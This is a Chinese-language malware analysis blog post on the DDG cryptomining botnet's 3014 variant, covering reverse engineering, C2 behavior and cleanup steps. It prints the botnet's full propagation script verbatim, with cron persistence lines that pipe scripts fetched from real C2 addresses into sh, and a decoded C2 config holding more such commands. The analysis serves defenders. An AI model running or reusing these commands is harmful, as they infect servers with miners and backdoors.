DDG最新变种3014样本分析

DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库 服务器,并攫取服务器算力挖矿(门罗币)的僵尸网络。DDG最早出现在2017年,此后不断更新,从2017年10月开始,DDG先后发布了 201x, 202x, 301x 三个大的系列版本,内部分为6个小的版本,以及若干小版本内部的补丁修正。最新版通过SSH弱口令和redis未授权访问来传播,早期版本还利用过strust2和OrientOB作为攻击手段。

一、基本信息

目前存活的最新C2地址上可以看到全部的样本,如下:

ddgs全家福

查看最新的ddgs3014:

ddgs3014

主要传播脚本地址:http://13.113.240.221:8000/i.sh ,内容:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://13.113.240.221:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

ps auxf | grep -v grep | grep /tmp/ddgs.3014 || rm -rf /tmp/ddgs.3014
if [ ! -f "/tmp/ddgs.3014" ]; then
    wget -q http://13.113.240.221:8000/static/3014/ddgs.$(uname -m) -O /tmp/ddgs.3014
    curl -fsSL http://13.113.240.221:8000/static/3014/ddgs.$(uname -m) -o /tmp/ddgs.3014
fi
chmod +x /tmp/ddgs.3014 && /tmp/ddgs.3014

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill

二、样本行为分析

从上文中i.sh代码中可以看到,i.sh主要做了三步,首先将下载自身并执行写入定时任务,然后下载主文件ddgs.3014并执行,最后杀掉其他常见挖矿进程。下面主要分析ddgs.3014。

IDA直接加载64位的样本文件ddgs.3014,样本是一个已经去除了符号的二进制文件,看不到函数名,这种情况下首先想办法还原函数名,目前还原函数名有两种方式,IDA的flair制作签名文件还原和使用Python脚本还原。根据以往的资料得知ddgs是go语言编写,如果不知道可以通过汇编特征比对判断编写语言,go语言有一个作者提供了一个函数名还原脚本,使用IDAPython脚本还原函数名,作者博客:https://rednaga.io/2016/09/21/reversing_go_binaries_like_a_pro/

用这个脚本可以直接还原出部分函数名,这样我们就可以通过函数名来获取一些信息,直接搜索找到main_main函数,同时还发现几个可疑函数main_Newminerd,main_backdoor等:

还原函数名后main相关函数内容

这里先不管,直接看main函数首先检查了环境,通过后会调用makedaemon函数把自己变成守护进程:

将自己变为守护进程

然后调用三个函数,分别执行新建守护进程,写入后门,进行挖矿。

三个主要函数

main_NewGuard函数调用main__backdoor_background将控制者的SSHKey写入到了authorized_key文件中。

注入sshkey

main_NewMinerd函数,分为几个步骤,首先遍历自带IP列表中的地址,发送请求下载矿机到/tmp目录下,然后请求C2获取挖矿的配置信息,再启动挖矿,函数调用顺序为main_NewMinerd->main__minerd_background,background里面循环执行ddgs_cmd__XRun_Do,去下载并执行矿机。

下载执行矿机

然后会将内置的IP列表解码并初始化,得到内置C2列表,开始无限循环,这一步和矿机发送请求基本一致,都要获取到C2返回的信息,只是后续的操作不同:

首先请求http://ip:8000/slave:

循环主体

Main_pingpang函数中会向指定IP发起http请求,获取返回结果,请求地址为http://ip:8000/slave,如果返回200,则一并返回一段msgpack编码的信息如下图:

请求和返回包
拼接请求包

接下来把msgpack编码的信息解码:

对返回的信息解码

根据C2返回的信息,会执行矿机的更新,调用下一步攻击操作函数cmd_table,在ddgs_cmd__Table_Do函数中会根据解码后的信息,调用ddgs_cmd__AAredis_exploit函数和ddgs_cmd__AAssh_Test函数进一步攻击,传播,到这个位置是一整个循环,主进程会一直重复这个循环。

根据返回的信息进行下一步操作

目前测试只会进行挖矿,没有扫描,说明C2没有下发扫描的信息。

msgpack编码的信息包含了挖矿的矿池,要下载的脚本,SSH弱口令和redis的利用范围等等信息,解码后的内容大致如下:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
{Data:
    Config:
    Interval: "360s";
    Miner: [{
        Exe: "/tmp/qW3xT.4",
        Md5: 9dd8c5b1dc74286d81bc78372d9b7f27,
        Url: "/static/qW3xT.4"
    }],
    Cmd:[
        AAredis:{
            Id: 6093,
            Version: 3021,
            ShellUrl: "http://149.56.106.215:8000/i.sh"
            NThreads: 204,
            Duration: "240h”,
            IPDuration: "26h",
            GenLan,
            GenAAA,
            Timeout: "21m",
            Ports: (5379, 6379, 7379)
        },
        AAssh:{
            Id: 2253,
            Version: 3021,
            ShellUrl: "http://149.56.106.215:8000/i.sh",
            Duration: "240h”,
            IPDuration: "312h",
            GenLan,
            GenAAA,
            Timeout: "21m",
            Ports: (22, 2222)
        },
        Sh:[
            {
                Id: 398,
                Version: 255,
                Timeout "120s",
                Line: "curl -fsSL http://149.56.106.215:8000/static/disable.sh | sh"
            },{
                Id: 461,
                Version: 3013,
                Line: "curl -fsSL http://149.56.106.215:8000/i.sh | sh",
                Timeout: "120s",
                Killer: 132
            },{
                Id: 388,
                Version: 3014,
                Expr: "/tmp/ddgs.3013"
                Timeout: "360s"
            },{
                Id: 389,
                Version: 3014,
                Expr: ".+(cryptonight|stratum+tcp://|dwarfpool.com|supportxmr.com).+",
                Timeout: "360s"
            },{
                Id: 390,
                Version: 3014,
                Expr: "./xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg",
                Timeout: "360s"
            },{
                Id: 381,
                Version: 255,
                Expr: "/tmp/2t3ik.+"
            },{
                Id: 397,
                Version: 255,
                Expr: "/tmp/qW3xT.+",
                Timeout: "360s"
            }
        ]
    ],
    Signature:
        'B|\x88Q\xe1"E\x12;\x8f\xf0$\n\xca\xce\x8da\x89\xfcW\x1d\x9dm\x10\x01\xf9\x84H\x19\x03\xc70e\xa2[\x04\xd1G\xba\xabQ;\x9d\xc7\x01C\x17k\xad\x9a-\x9c\xae\x82\xd2\xb8\x80\x81}\xdd\xb9@\xf1\x7fE\xd6\xed\xab\xe9\x08\xb2-\x8c\xad\xfd\xe9 "R\xdd\x91Y\xffgf\xaf\xb6y0\x8c$\x18\xad\xb8\xcb\xe89.\x01\x16\xfb\xf0\x93\xfaBA>]h+F\xe4\xd9\x9c\xc1\x1cOI\xd7\x16P%\xec~\xee\xeb`\x8d\xbe\xf7\x07\x1dM\x85\x88\x8eT\xcc\xb8 x`\n\xc2\xf7X\xc1E\x8e)\x1c\x16n\xebw\x13\xef=;\x1f_Y7Zof(/\x19#\xf1\xbb\xb9s\x86;\x11zlC\xcbh\xfa\xb0\xca\xd6%\nQ\x948L\x8c_\xc8\xb5O6(Y\x99\xa2\xfb\x04\xef\xf2\xbe\x11\xc7w\xc7\x87\x0e\xc2\xe3\xbca)|\xea0 "\x8b\x96q\x14q\xe68\xb7\x1eo\x16\x02\xd4\xba\xfc\\\x8a\x95\x18\xb1\xc9>p=\xb0\xf6\xf6N\xa5\x87;\xde\xf4\xb4\x83'
    }

三、清除方法

清除定时任务

删除/var/spool/cron/crontabs/root文件内的

*/15 * * * * curl -fsSL http://13.113.240.221:8000/i.sh | sh

删除/var/spool/cron/root文件内的

*/5 * * * * wget -q -O- http://165.225.157.157:8000/i.sh | sh

删除/tmp/ddgs.3014  /tmp/qW3xT.4  /tmp/qW3xT.3  

杀死 ddgs.3014  qW3xT.4进程

发表评论

电子邮件地址不会被公开。 必填项已用*标注

1 + 7 =